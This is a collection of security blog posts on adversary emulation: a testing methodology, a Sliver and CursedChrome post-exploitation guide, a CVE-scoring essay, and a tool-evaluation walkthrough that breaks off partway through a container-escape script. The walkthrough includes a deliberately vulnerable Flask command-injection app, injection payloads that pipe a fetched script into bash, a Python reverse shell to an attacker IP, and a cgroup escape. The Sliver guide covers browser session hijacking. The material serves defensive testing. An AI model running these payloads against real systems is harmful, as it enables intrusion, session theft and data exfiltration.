DEV Community: Jeremy Mill

Effective Adversary Emulation

Jeremy Mill — Mon, 27 Nov 2023 14:46:45 +0000

Abstract

So you’ve built an amazing suite of security tools that provide defense in depth. Have you ever actually tested them? Have you tested them in a controlled manner that fully examines their performance using real-world scenarios? Here I'll describe an effective method for adversary emulation designed for small and medium-sized security teams. I’ll describe how to build a test plan, execute it safely, and how to evaluate the results. I’ll pull it all together by describing how to fit this testing methodology into your security program, keep it up to date, and use it to drive real changes that make your organization safer in a very real way.

Video

I've also given the contents of this blog as a talk at BSidesCT and VetSecCon. You can view a recording of the BSidesCT talk here

Intro

Far too often those of us responsible for security fail to test our tools effectively. For example, we may only test our tools during a proof of concept; Comparing two or three tools against each other with a limited set of testing criteria in an untuned state with a limited amount of time to run the test. Or, we may test our tools well, but only individually. The problem with testing only during the proof of concept is that we miss the context of running a tool tuned for our environment where not only our selection criteria matter, but rather every feature the tool supports probably does. When we test only one tool, we miss the full context of our environment; We make assumptions about what is covered by other tools and never put it all together to evaluate those assumptions. This is akin to having unit tests with no integration tests.

This process also differs from other adversary emulation frameworks/processes because it does not attempt to perfectly emulate any single adversary. That method doesn't make sense for several reasons, first of which is that your org doesn't face a single threat and the threat actors emulated by other frameworks change their tactics, techniques, and procedures often based on the organization they're targeting and with time.

The testing process I describe is a MITRE ATT&CK driven, regularly scheduled process that tests the chosen security stack of an organization. It can be thought of as an integration or clear box test for a security program.

The process follows the following steps:

1) Scope
2) Tactics, Techniques, and Procedures (TTPs)
3) Design
4) Weigh
5) Execute & Score
6) Analyze & Plan
7) Implement

The Process

1. Scope

In the scoping step you must decide what you will, and what you will not test. This sounds simple and straightforward, but in reality it's quite hard to get right. Select a scope too large and the test becomes unwieldy and too hard to execute. Select a scope too small and you fail to effectively test the program and identify gaps.

Let's use the following (massively oversimplified) picture of an IT environment for an organization that hosts some services on the open internet:

If you attempt to test the red outlined items, the test will be entirely too large. You will be bogged down in test development and you won't be able to dig deep into the findings in later stages. Instead, you should try to scope to something closer to the purple or teal squares. Where purple tests the endpoints up to the authentication system and teal tests the cloud infrastructure against something like the log4j or MoveIT zero days. An additional square could be drawn here from Endpoint to K8s which would represent an exploited developer workstation or insider threat to your production systems.

When selecting your scope you should also keep in mind your data classification and crown jewels analysis to make sure that you are testing systems most critical for the protection of the data your organizations most wants to protect.

2. Tactics, Techniques, and Procedures

Tactics, Techniques, and Procedures (TTPs) are "the behaviors, methods, or patterns of activity used by a threat actor, or group of threat actors". With your scope in hand it is time to research how threat actors attack the systems you have selected to test. After all, it makes no sense to learn about attacks on hypervisors if you haven't decided to test your virtualization infrastructure.

Collection of TTPs is part of this step but this step should never really stop. I suggest building a running notebook of good blogs and posts that may apply to your environment and the systems you are tasked to protect. So you should think about this step as a selection from your ever-growing collection of TTPs and not a step to collect them by itself.

There are many different sources you can use to build your library of TTPs. Some of the ones I use regularly are:

https://www.mandiant.com/resources/blog
https://www.sentinelone.com/blog/
https://attack.mitre.org/groups/
Infosec mastodon (formerly infosec twitter)
- I'm partial to infosec.exchange

There are also numerous paid threat intelligence feeds that are also fantastic and if you have access to them can be used to supplement public sources.

Finally, while collecting your list of TTPs you want to make sure that you are building a collection of TTPs across the full exploit chain. During the test, you (may) need to test everything from initial access to exfiltration and you'll need specific TTPs for each. Also, remember that what you care most about is detecting behaviors. So just because you can't find a public example of a threat actor using rsync for exfiltration doesn't mean that you can't use it.

3. Design

With a well-defined scope and a set of TTPs chosen, it's time to design a test. The best way to do this is to start with a narrative. Think about how you would describe an interesting case study or incident analysis to a colleague or friend (assuming your friends are as nerdy as mine). An example may be:

A threat actor built a malicious, typo-squatted NPM package and published it. A developer accidentally installed it. The malicious package downloaded a stager which downloaded a c2 payload. The attackers stole the developer's Okta auth cookies and used them to move laterally into the organization's cloud infrastructure

With the narrative written you can break it down into individual steps, adding additional details. This can be done in a flowchart like the following:

It is also useful to map out the infrastructure diagram. For this narrative it may look something like this:

The creation of these two diagrams may feel unnecessary but they are very useful to share among the team performing the test to ensure that everyone is on the same page. They are also incredibly useful for sharing with other key stakeholders when informing them that you are going to conduct the test.

3.1 Collection

Step 3 also includes the collection of any tools you decide to acquire or build as part of your design. If you say you're going to use Cobalt Strike as your C2, you need to acquire a copy of it during this step of the process. If you say you're going to build a custom stager, you must build it during this stage as well.

As a note, this step also includes education. If you're selecting an open source tool like responder or sliver, you should educate yourself during this step on how to use the tool before proceeding to steps 4 and 5. You should not be learning "on the job" during the execution step.

4. Weigh

Now that you have a well-defined narrative that combines your scope and your TTPs, it's time to break it down further. You will do this by 1) defining detections and then 2) weighing them. The output of this step is a table with all of the detections you expect to see and their relative weights.

4.1. Detections

For each step in the design from step 3, you want to think about what should be seen from your security tools. Let's start with a very simple step from the sample design: the download of the typosquatted NPM package. You probably want to see:

The download of the file on the network security tool (firewall, SASE, etc)
The network connection on the EDR if it supports it
The creation of the file on disk from the EDR

That's at least 3 rows on the table you are creating in this step. A massively truncated version of the output of step 4.1 is:

Action	Tool	Event
Dev downloads NPM	Firewall	GET request
Dev downloads NPM	EDR	netconn/GET request
Dev downloads NPM	EDR	file creation
...	...	...
NPM pulls stager	Firewall	GET request
NPM pulls stager	EDR	netconn/GET request
Stager executes	EDR	Execution from memory
...	...	...
Attacker uses Okta cookie	Okta	Suspicious behavior
...	...	...

I will refer to each row in this table as an Action, Tool, Event tuple, or ATE tuple going forward.

4.2. Weigh

Not all steps in this process are as critical as the others to detect or prevent. For example, let's say persistence is achieved by creating or modifying an existing scheduled task. Scheduled task creation and modification events happen all the time, making them a much lower fidelity alerting metric than say, dumping LSASS. You want to identify the most critical items so you can treat them as more important when you analyze the results after the test execution is complete.

You do this by assigning a weight to each one of the rows you built in the previous step. These weights are subjective so the exact range you use doesn't matter, but the recommended scale is a range of 1 to 10 where 1 is the lowest fidelity/lowest criticality and 10 is "this absolutely must be detected or prevented and alerted on".

The sample from 4.1 with weights added looks like this:

Action	Tool	Event	Weight
Dev downloads NPM	Firewall	GET request	2
Dev downloads NPM	EDR	netconn/GET request	2
Dev downloads NPM	EDR	file creation	4
...	...	...	...
NPM pulls stager	Firewall	GET request	3
NPM pulls stager	EDR	netconn/GET request	3
Stager executes	EDR	Execution from memory	7
...	...	...	...
Attacker uses Okta cookie	Okta	Suspicious behavior	10
...	...	...	...

5. Execute and Score

Time to hang up your white hat (off white?) and put on your black one because it's time to play bad guy and run the test. As you perform the test you should carefully note what you did and when you did it down to the second if you can. You'll thank yourself later when you're digging through logs to find out why something didn't alert like you expected it to.

Scoring is subjective and given on a scale of 0 to the weight assigned to the ATE based on the performance of the tool. If a tool does exactly what you think it should have up to blocking the attack chain (more on that in a bit) it gets a score equal to its weight. If the tool absolutely misses the mark, logs nothing, and doesn't get in the way of compromising the system, it gets a 0. A tool may also get any score in between. Maybe you expected it to generate an alert but all it did was log, this may be a score of 2 out of a weight of 6 or somewhere else in between. The "why" it failed does not matter at this step in the process.

Scoring may be performed during the test or after all of the steps are completed. You may find it easier to have one set of engineers performing the test communicating with a second set doing the scoring as the test is performed.

Important: When one of the security tools does its job and blocks a step in your design the test IS NOT OVER. If you stopped as soon as one of our tools was successful you would not be testing the defense in depth of the security tool stack. Instead that Action, Tool, Event tuple gets a full score, you allow-list the network connection, behavior, or signature in the tool, and you continue the test.

After the test has been completed and scores are assigned, you will have a scored ATE table that may look like this:

Action	Tool	Event	Weight	Score
Dev downloads NPM	Firewall	GET request	2	2
Dev downloads NPM	EDR	netconn/GET request	2	2
Dev downloads NPM	EDR	file creation	4	3
...	...	...	...	...
NPM pulls stager	Firewall	GET request	3	3
NPM pulls stager	EDR	netconn/GET request	3	1
Stager executes	EDR	Execution from memory	7	2
...	...	...	...	...
Attacker uses Okta cookie	Okta	Suspicious behavior	10	1
...	...	...	...	...

Note on Deviations

Deviations from the test plan should be minimized. You want the steps of this process to be repeatable so you can test the fixes you implement in step 7. Small deviations such as changing obfuscation techniques should be annotated and allowed but large deviations such as changing from one C2 infrastructure to another should be avoided. This is also because you have (hopefully) communicated your test plan to other key stakeholders and you don't want to deviate in principle from what you have told them and gotten their approval on.

6. Analyze and Plan

Unfortunately, the fun "pretend to be a bad guy" step is over. But fortunately, the "reason we all get paid" step is about to begin. Like step 4, this step has two sub-phases; Analyze and Plan.

6.1 Analyze

The first step in your analysis is to calculate the ATE+Score deltas. These are defined as the Score subtracted from the Weight. The higher the delta, the more critical the failure is in the security system. The sample table now with calculated deltas is below:

Action	Tool	Event	Weight	Score	Delta
Dev downloads NPM	Firewall	GET request	2	2	0
Dev downloads NPM	EDR	netconn/GET request	2	2	0
Dev downloads NPM	EDR	file creation	4	3	1
...	...	...	...	...	...
NPM pulls stager	Firewall	GET request	3	3	0
NPM pulls stager	EDR	netconn/GET request	3	1	2
Stager executes	EDR	Execution from memory	7	2	5
...	...	...	...	...	...
Attacker uses Okta cookie	Okta	Suspicious behavior	10	1	9
...	...	...	...	...	...

Criticality of failures is defined by the magnitude of the delta.

None: 0
Low: 1-3
Medium: 4-6
High: 7-9
Critical: 9+

After calculating the deltas you should perform a root cause analysis starting from the most critical of the failures. Ask yourself questions like: Why did the tool not log? Why didn't the alert fire? Why didn't it end up in the SIEM to be correlated? Why wasn't that TLS intercepted?

6.2 Plan

At this stage in the process you have everything you need to determine what to work on first and why you need to work on it. You next need to determine the correct path forward to fixing it. There are often hard decisions in this step. Sometimes it's as easy as fixing a typo in a custom alert but other times it's having a difficult discussion with the vendor of a tool or your MSSP.

You should be turning all of these plans into tickets in your work tracking system with appropriate criticalities assigned. After all, if it's not a ticket, will it ever get done? Grouping these tickets together as an adversary emulation epic (assuming Jira) helps keep everything more organized.

7. Implement

Every other step means nothing if you don't do something with the outputs. It's time to pick up the tickets you created and organized by criticality in step 6 and fix them. Your definition of done for completing a ticket MUST include testing them. You should never assume a change is successful without proving it.

Repeat

The cybersecurity environment we operate in is changing rapidly and the threats faced today are not the threats we will face tomorrow. As a result, the value of the outputs of this test begins to depreciate as soon as they are created. Adversary emulation tests should be performed annually or semi-annually in order to ensure that we are keeping up with the rate of change of attackers.

It is also important to vary your scope to ensure that you are testing all the different avenues that you can be attacked and all of the different security tools and log sources that you have in your environment.

Your first test

If you've made it this far into this guide I hope I've convinced you that this process is worth performing at your organization and you're excited to get started. It is advisable to keep two things in mind for your very first test:

1) Start Small
2) Keep. It. Simple.

It is incredibly easy to over scope your first test (and all tests, really) so you should start small. Smaller than you think you probably need to, in fact. For many small to medium-sized organizations a good first test narrative may be something like:

A threat actor emails a user with a link to an encrypted zip file with malware in it. The user downloads the zip and executes the malware. The malware persists via a scheduled task and spawns a reverse shell. The attacker uses it to steal files from the local computer.

This narrative has only one endpoint in scope and makes no attempt to move laterally. But nearly all of us can think of a user in our organizations (maybe an executive) for whom if this happened, it would be a major event.

It's also worth noting that this narrative has nothing crazy in it. No process hollowing, module stomping, dynamic call stacks or anything like that. That's because you probably don't need ANYTHING fancy to identify some failures in your security tools. You get fancy as you mature, you START with the basics like basic reverse shells, SSH, Powershell, the basics in Metasploit, etc. Keep. It. Simple.

Resourcing

The resourcing timelines here are best estimates based on experience. They can vary widely depending on the size and skill sets of the security professionals on your organization's team(s).

Steps 1 and 2 often take one to two business days to fully select your scope and TTPs and produce the documentation.
Step 3 varies significantly based on the outputs of steps 1 and 2 and the familiarity of the team with the tools and processes selected. It can be as short as 1 business day to a week or longer.
Step 4 can often be completed in one business day or shorter.
Step 5 often takes 1-2 business days. Additional engineers assigned to test execution often results in a longer timeline but comes at the benefit of educating members of the team and growing their respective skill sets. It is most often worth the added time.
Step 6 can vary depending on the complexity of the findings. It can be as short as a half business day to several days.
Step 7 is open-ended depending on the backlog and capacity of the security team and the severity of the findings.

Resources

Some resources I've found useful in the performance of these tests are:

Sliver C2 (my preferred): https://github.com/BishopFox/sliver
Covenant C2: https://github.com/cobbr/Covenant
Bring your own vulnerable driver (BYOVD): https://www.loldrivers.io/
Metasploit: https://github.com/rapid7/metasploit-framework
Revshells: https://www.revshells.com/
Payload all the things: https://github.com/swisskyrepo/PayloadsAllTheThings
Atomic red team: https://github.com/redcanaryco/atomic-red-team

And so so many others.

Thanks

Huge thanks to CryptoJones for editing and review of the post: https://infosec.exchange/@CryptoJones
Markdown table generator: https://www.tablesgenerator.com/markdown_tables#
Cover Photo: Photo by https://unsplash.com/@alain_pham

Sliver and Cursed Chrome for Post Exploitation

Jeremy Mill — Sat, 07 Oct 2023 15:38:50 +0000

This blog guides you through using Cursed Chrome within Sliver to more effectively perform adversary emulation tests. We will be covering how to inject a CursedChrome payload into a victim's browser using sliver, allowing an adversary to proxy requests through CursedChrome through the victim's browser in the victim's authenticated context

I'm going to skip over a lot of detail here on what sliver can do and how to do all the setup of sliver because that isn't the goal of this post.

What's a Sliver?

Sliver is an exciting (and free) Adversary Emulation Command and Control (C2) framework released by the folks at BishopFox. In their words it's a:

...system made for penetration testers, red teams, and blue teams. It generates implants that can run on virtually every architecture out there, and securely manage these connections through a central server. Sliver supports multiple callback protocols including DNS, Mutual TLS (mTLS), WireGuard, and HTTP(S) to make egress simple, even when those pesky blue teams block your domains. You can even have multiple operators (players) simultaneously commanding your sliver army.

I use it at my organization to emulate how the bad guys do what they do and find out how good our tools and processes are at detecting them.

Setup

Since this blog isn't aimed at introducing you to Sliver, I'm going to brush over a lot of details. To start out you should have:

A server running sliver (link)
An operator machine setup to talk to the c2 server (link)
A windows machine with Chrome installed, with a sliver implant running on it (link)
A chrome extension with appropriate all-page permissions installed
- uBlock Origin is a good candidate
- We'll go over the 'why' of this in a later section

I know this is a lot but we're talking about post-exploitation today and not exploitation.

Setup CursedChrome

Most of the setup instructions are borrowed directly from the CursedChrome repository here.

You can setup CuredChrome one of two places. 1) on the same server running the sliver C2, or 2) on a separate server. I decided to run it on the same server running C2.

The first step to installing CursedChrome is to make sure you have a working docker installed with docker-compose. In my testing podman worked just fine.

Next clone CursedChrome into a folder on your server.



git clone git@github.com:mandatoryprogrammer/CursedChrome.git \
  && cd CursedChrome

Since we're going to run this server on the open (dirty) internet, we're going to make a small change to the docker-compose.yaml file before we build and turn anything on. We're going to want to modify the block:



    ports:
      - "127.0.0.1:8080:8080" # Proxy server
      - "127.0.0.1:4343:4343" # WebSocket server (talks with implants)
      - "127.0.0.1:8118:8118" # Web panel

To look like:



    ports:
      - "8080:8080" # Proxy server
      - "4343:4343" # WebSocket server (talks with implants)
      - "8118:8118" # Web panel

Now we can stand up the server making sure we grab the admin credentials that are written out to the console as we start it.



docker-compose up -d redis db
docker-compose up cursedchrome

Now log in to your CursedChrome server on http://<serverip>:8118 using the credentials spit out to the console when you started cursedchrome

Note: plaintext http is bad, okay? Put this behind a reverse proxy with TLS if you're doing it for realsies in an uncontrolled environment

Setup the CursedChrome Implant

Now we need to setup the javascript that Sliver is going to inject into the victim's browser extension. This implant is what will proxy the requests from the operator and the CursedChrome server through the browser and out to the network.

The source is here: link. We want to make sure we modify this line to point at our CursedChrome server and not at localhost:



websocket = new WebSocket("ws://127.0.0.1:4343");

(source: https://github.com/mandatoryprogrammer/CursedChrome/blob/master/extension/src/bg/background.js#L301)

With that line modified we should take background.js and minify it, creating min.js in a location accessible by our operator running a sliver client. A pre-minified background.js can be found here (but you'll still need to change the IP): link

Inject min.js

For this step you should be in sliver with our exploited machine (the victim) ready to receive commands.

We're ready to inject our payload by running:



cursed chrome -p min.js

Important: Sliver is about to warn you about this but you should be aware that this is going to restart the users active chrome window.

Assuming this succeeded, we're ready to move on to the next step, proxying requests through our implant.

This failed :(

If you're using this on a pentest, you may have hit a snag. The victim may not have an extension installed that Sliver can use to inject the payload into. This is either because they have no extensions installed or because they don't have an extension installed which can make requests on all pages. Fear not, because you can use the other CursedChrome commands detailed here: link to still do fun stuff, just a little bit less stealthily.

For example, you can still run cursed cookies or cursed console to grab the session cookies for a user and then inject them in burp to steal the users session and port forward via sliver to avoid looking like you're coming from a remote location and triggering those pesky IP location or impossible travel alerts.

Using our Implant

We should now see a new implant running in our CursedChrome console:

Now it's time to use it and FoxyProxy is probably the easiest way to do that. Grab the username and password from the CusrsedChrome console and head into FoxyProxy to setup a new proxy server that looks like this:

Note that we've change port 8118 for port 8080 because the proxy server runs on port 8080. Save the configuration.

Now open up a new tab and activate our configured proxy server:

Now start making some requests! We are making requests through the implant in the security context of the user. For example, I used my dev.to account as a sample target:

I could now create new posts like 'Jeremy doesn't like cats' or other such embarrassing and entirely untrue statements.

Detection and Prevention

I'd be a really bad blue-teamer if I didn't cover this section. There are a few options for detecting and monitoring for this:

You can use chrome policies to limit what URLs certain extensions can use: https://thehackerblog.com/galvanizer/
For the first point to be effective, you'll need to control extension installs at your org
- in chrome, and edge, and other chromium based browsers
You should be able to detect a new listening debug port in Chrome. Most users won't ever do this so it should be a high fidelity alert
- look for --remote-debugging-port= arguments in Chrome
You should be able to detect sliver and its c2 comms
You should alert on suspicious behaviors on the systems targeted by the attackers

Everything People Don't Get About CVEs

Jeremy Mill — Fri, 01 Sep 2023 16:41:22 +0000

Intro

This post is inspired by Daniel Stenberg's post on his blog regarding CVEs in curl titled CVE-2020-19909 Is Everything That is Wrong With CVEs but the sentiments expressed in that post are hardly new and or unique to Daniel and the curl project. And before I say anything else I want something to be clear, Daniel has an absolute right to be frustrated and has perfectly valid complaints about the system. That being said, I do think there is a misunderstanding of the system by Daniel and other developers of how CVEs are rated and used by those of us in the security side of the house.

The opinions on the CVE system below are entirely my own and are shaped by a career as a developer, sysadmin, appsec engineer, and now a manager of a security team in a regulated environment. They are also shaped by my experience as a person filing CVEs to other CVE Numbering Authorities (CNAs) as a researcher and as a person who used to run a CNA issuing CVEs from external researchers and internal sources.

The Most Common Misunderstanding - It's too d*** high!

The most common misunderstanding that I see over and over again is the belief that a severity rating is too high because most people won't be in an exploitable deployment or have a particular configuration. After all, how can this be an emergency 9.8 - Critical vulnerability when no one would deploy it that way!

However the CNA most often doesn't have any real data about how software is most commonly deployed and can't make that assessment even if they wanted to. Even when the CNA does have that information (such as when I ran the CNA for Puppet) you can't make the assumption that no one has deployed it in that configuration. That leaves the CNA only one safe option; The CNA must assume the worst case scenario. The severity of the issue must be set as if the consumer/user of the software has deployed the software in the vulnerable and exploitable condition.

How it's supposed to work

Now, this sucks for everyone. The software developers don't want the noise, The CNA usually doesn't want to create waves for no reason, users/consumers of software hate deploying emergency patches etc.

How it's supposed to work is that the consumer/user of a piece of software gets notification of a vulnerability with a base score. The user/consumer should then go and use the worlds least used part of the CVSS v3.1: the Temporal Score Metrics and the Environmental Score Metrics. These scores modify the base score to reflect the severity of the vulnerability to the specific user/consumer and not the worst case scenario.

That being said, I don't know of any org that has the capacity to do this with every single vulnerability. I do however, think that most orgs with a sufficiently sized security team (which certainly isn't all of them) can do it for the 'criticals' that get the headlines and might mean an emergency patch.

An Example

Let's take CVE-2022-21724 which has a base score of 9.8 - Critical from NVD. This vulnerability has the following description on GitHub link:

pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

Long story short the following connection string could lead to remote code execution if you also had Spring in your project:

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

It's reasonable for you to have the initial response "who on this green earth would allow an attacker to control my database connection string! There's no way that's exploitable in a real way!". But I'd ask you to take a second and really think about it... What about your Grafana server connected to your PostgreSQL server? What about your SaaS company that allows someone to bring their own DB? Is it common? Absolutely not, but that's the exact point.

If you ARE one of the people with a vulnerable deployment scenario, even though you're a minority, this most certainly is a 9.8.

If you're not, and you set your environmental score metrics to AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/CR:H/IR:H/AR:H/MAV:L/MAC:H/MPR:H/MUI:N/MS:U/MC:H/MI:H/MA:H your severity drops to 6.4 - Medium. OR, even better, you look at this and say "we're not exploitable due to compensating controls like PR reviews and branch protection rules" and you set this to 'not exploitable' and move on with your life, catching the update when it comes as part of other regular maintenance.

You cherrypicked an example!

Of course I did :) Like I said up front, I think Daniel has a right to be upset. The example I picked was designed to show my point that not all CVE ratings are too high but defined on their worst case scenario. That being said there are definitely CVEs issued that have no exploitable path or deployment. These are quite frankly, silly, and waste everyone's time. NVD specifically needs to do a better job of filtering these issues out and working with developers to remove/retract them or lower their severities.

What about too low...

Vulnerabilities rated too high aren't the whole story. The other side of the coin is that something gets a low severity rating by NVD or another issuing authority and you as the user/consumer have it deployed in such a way that it allows an attacker to steal the keys to your kingdom. This is an equally terribly situation and still requires users and consumers to do their due diligence to reassign a rating for themselves and not just trust NVD.

What should curl do

I think at this point it's clear that the curl project's only way to control the recurring problem and reduce it is to become a CNA. curl becoming its own CNA will allow it to have much tighter control over the issuance of CVEs against the project and be able to self-issue severity ratings which when issued by the CNA are usually just copied over by NVD. I've reached out to Daniel to help them if they decide to go down this route and would love to help.

Final Thoughts

What I think you should take away from this post is:

CVSS base ratings are based on the worst case scenario which may not be most people's scenarios
Users and Organizations need to take more responsibility for modifying the base score for themselves and their environments
NVD needs to be a better partner and work more closely and realistically with developers
Big projects probably need to accept the overhead of being a CNA or accept that someone else will be their CNA like it or not

Vulnerability severity assessment is hard and inherently grey. Most vulnerabilities aren't log4j or MoveIT, but they also aren't cve-2020-19909. They're somewhere in the middle and security practitioners need to work in that grey space making best assessments and choosing where to spend their time and effort. Until the complexity is reduced in computing systems, the complexity of vulnerability management will remain.

Thank you/Credit

Thanks to karol rosales for the cover photo from unsplash

Evaluating Security Tools

Jeremy Mill — Sun, 17 Jul 2022 01:13:16 +0000

Evaluating Security Solutions

From time to time in my career in security I've been asked to select a new security tool/vendor to generate security events and alert on suspicious or malicious behaviors. Sometimes these are network based solutions, other times they're host based, and still other times they're something in between, operating on kubernetes or the cloud infrastructure.

Regardless of the method in which the tool is designed to work, it should create alerts that can be mapped to techniques and tactics in the MITRE ATT&CK framework. If you're not familiar with the ATT&CK framework, you should pause here and read the excellent ATT&CK 101 blog post here

This article should give you an idea on how to take a security solution and build a test case for it, mapping our "attacker" actions to the ATT&CK framework and then comparing those actions to the alerts generated by the tool. I will also show you a sample scorecard to evaluate and compare different vendors. Every time I've run one of these tests I have been surprised by the results. and most often in a bad way. Which is to say, I've learned much more through this process about the weaknesses of various tools by running these tests than I would have via any other method.

1 - Requirements Gathering

Before you can run any test of a security tool you need to know what your requirements are. This means understand what you need it to do vs what you want it to do, and what your nice-to-haves are. For example, many security tools (at the time this is written (hopefully)) don't support monitoring security events that occur inside of containers. Others will only support monitoring events inside of a particular container runtime. You need to determine for yourself if seeing those events is critical, important, or nice-to-have. For me during my last test, it was critical, and that shapes the test plan.

A (very abbreviated) sample set of requirements:

Critical

monitoring of hosted kubernetes environments (GKE, EKS, etc)
monitoring of self-hosted kubernetes environments
monitoring of traditional linux VMs
monitoring of traditional linux VMs running docker
- via docker runtime
- via containerd

Important

ability to write and customize alerts

Nice to Haves

native monitoring of DNS
Integration with threat-intel feeds
- e.g. alerts for connections to malicious IPs

You should spend as much time as you need on this step because it is the input to all the future steps and as they say, garbage in, garbage out.

2 - Design a test plan

Test plans come in all shapes and sizes but in general I try to ensure that I have at least one action for the following tactics from the ATT&CK framework:

Recon
Initial Access
Execution
Persistence
Privilege Escalation
Credential Access
Discovery
Lateral movement
Exfiltration

This isn't to say that the others aren't important, but for me, those are the ones I want to make sure I have for a basic test.

In my experience it isn't important for the tactics and techniques you use to be complex or advanced. As a matter of fact, it's best if your initial round of testing isn't advanced or fancy. By default many security tools won't even detect the basics in a meaningful way and you can always take the things you DID detect and make them fancier and re-test.

2 - Test Setup

2a - Target machines

The following is my generalized setup for the test machines from my most recent test:

A ubuntu 20.04 server named target-a with:
- docker + containerd
- a 20gb file of junk data to "exfil"
- a container vulnerable to RCE running in privileged mode (details later)
- an SSH key owned by root
A second ubuntu 20.04 server named lat-a with:
- the SSH public key from target-a added to authorized-keys

A sample script that can be used to automate the setup of target-a can be found here: https://gist.github.com/LivingInSyn/317a0e664aee59dcf82acf0d9efb70df

If the security tool you're evaluating is host based don't forget to add a step the install script to install your security solution, otherwise, you're not going to generate many events. I'm not saying I've forgotten before but, uh, I've definitely wasted time...

2b - The vulnerable app

The container vulnerable to RCE is very simple. Like I said before, complexity isn't necessary for this kind of test. The /isup API is subject to a trivial RCE bug. Sample payloads are provided in section 3b below.

vuln_app.py

from flask import Flask
from flask_restful import reqparse, abort, Api, Resource
import subprocess

app = Flask(__name__)
api = Api(app)

parser = reqparse.RequestParser()
parser.add_argument('url')

class IsUp(Resource):
    def post(self):
        args = parser.parse_args()
        url = args['url']
        command = f'curl -L {url}'
        rval = subprocess.call(command, shell=True)
        if rval != 0:
            return {'status': 'down'}, 400
        return {'status': 'up'}, 200

class HealthCheck(Resource):
    def get(self):
        return '', 200


api.add_resource(IsUp, '/isup')
api.add_resource(HealthCheck, '/')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

Dockerfile

FROM python
RUN pip install flask flask-restful
RUN mkdir -p /app
ADD vuln_app.py /app/vuln_app.py
CMD ["python", "/app/vuln_app.py"]

2c - Our attacker machine

Our attacker machine is going to be any linux box. The only requirement is that the box has an IP address accessible by the target machine. For the basic steps detailed in section 3 the tools required are:

netcat
curl

For the additional more advanced steps I used sliver as a c2. Sliver is an excellent tool for the job and unlike some other tools, it's FOSS! You can easily replace sliver with your tool of choice, however.

3 - The attack plan

Our attack plan is outlined below:

Event	Type	MITRE ATT&CK Technique
Scanning of host (nmap)	Network, Host, Container	Recon - Active Scanning - T1595.001
Command injection - testing	Network, WAF, Container	Recon - Active Scanning - T1595.002
Reverse shell in container	Network, Container	Initial Access - Exploit Public-Facing Application - T1190 Execution - Command and script interpreter (python) - T1059.006
Data collection / recon in container	Container	Recon - Gather Victim Host Information: Software - T1592.002
Container Breakout	Host, Container	Priv. Esc. - Escape to host - T1611
Reverse shell in host	Network, Host	Execution - Command and script interpreter (python) - T1059.006
Data collection / recon in host	Host	Recon - Gather Victim Host Information: Software - T1592.002
Credential Access: dump /etc/shadow	Host	Cred. Access - Credentials from Password Stores - T1555
Credential Access: Searching for plaintext passwords	Host	Cred. Access/Discovery - Credentials from Password Stores - T1555
Discovery: dump /etc/passwd	Host	Cred. Access - Account Discovery: Local Account - T1087.001
Persistence: modify crontab	Host	Persistance - Scheduled Task/Job: Cron - T1053.003
Attacker installed tooling: AWS CLI	Host	N/A
Exfil: AWS S3 Bucket Upload	Network, Host	Exfiltration - Exfiltration Over Web Service: Exfiltration to Cloud Storage - T1567.002

Some additional more advanced steps that we shouldn't run until (at least) our second round of testing and that we won't cover in this simplified guide:

Event	Type	MITRE ATT&CK Technique
Silver C2	Network, Host, Container	Command and Control: Application Layer Protocols: Web Protocols - T1071.001
Hide the file from Silver C2	Host	Defense Evasion - Hide Artifacts: Hidden Files and Directories - T1564.001
Run the PS command to see processes	Host	Discovery - Process Discovery - T1057
Gathering data from GCP buckets	Host	Discovery - Cloud Storage Object Discovery - T1619
Discover hosts on the same subnet	Network, Host	Recon - Active Scanning - T1595
Use stolen key to move laterally	Network, Host	Lateral Movement - Remote Services - T1021

We won't run through all of these steps in detail, but we will run through several of them.

3a - Scanning

From the attacker host, scan the public IP of target-a

nmap -sS -sV -vv -O $VICTIM_IP

3b - Test command injection

We want to do three things here

a valid test (baseline)
a test with a blind test (sleep)
a test with output (whoami)

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com"}'  http://$VICTIM_IP/isup # valid test

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && sleep 10"}'  http://$VICTIM_IP/isup # blind test, takes 10 seconds to return

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && whoami"}'  http://$VICTIM_IP/isup # test getting output (non-blind)

3c - Reverse shell on the container

Now we want to spawn a reverse shell from the container back to our attacker machine. On our attacker machine we want to start our reverse shell listener on port 55555:

nc -lnvp 55555

Now create a github gist (or pastebin or simple webserver on our attacker box etc.) with the following contents. This is an optional step, but I find it makes keeping track of things easier. Make sure to replace <YOUR ATTACKER IP HERE> with your attacker IP:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOUR ATTACKER IP HERE>",55554));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Note that you can generate alternate reverse shells easily using https://www.revshells.com/

Run the injection and spawn our reverse shell, replacing <YOUR GIST URL> with your gist url or rev shell

curl -XPOST -H 'Content-Type: application/json' -d '{"url":"google.com && curl <YOUR GIST URL> | /bin/bash"}' http://$VICTIM_IP/isup

3d - Data collection / recon in container

From our newly created reverse shell, lets run some verifiable actions that we should see in our security tool

whoami
hostname
cat /etc/os-release
uname -r

At this point we can probably guess that we're inside of a container and we should try and break out!

3e - Container Breakout + Host Shell

For the container breakout step we're going to use a process called PID bashing. You can read more about it here:

https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html

To do it, we're first going to create another gist/paste/file-on-webserver with the following contents (making sure to replace the IP placeholder again):

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh
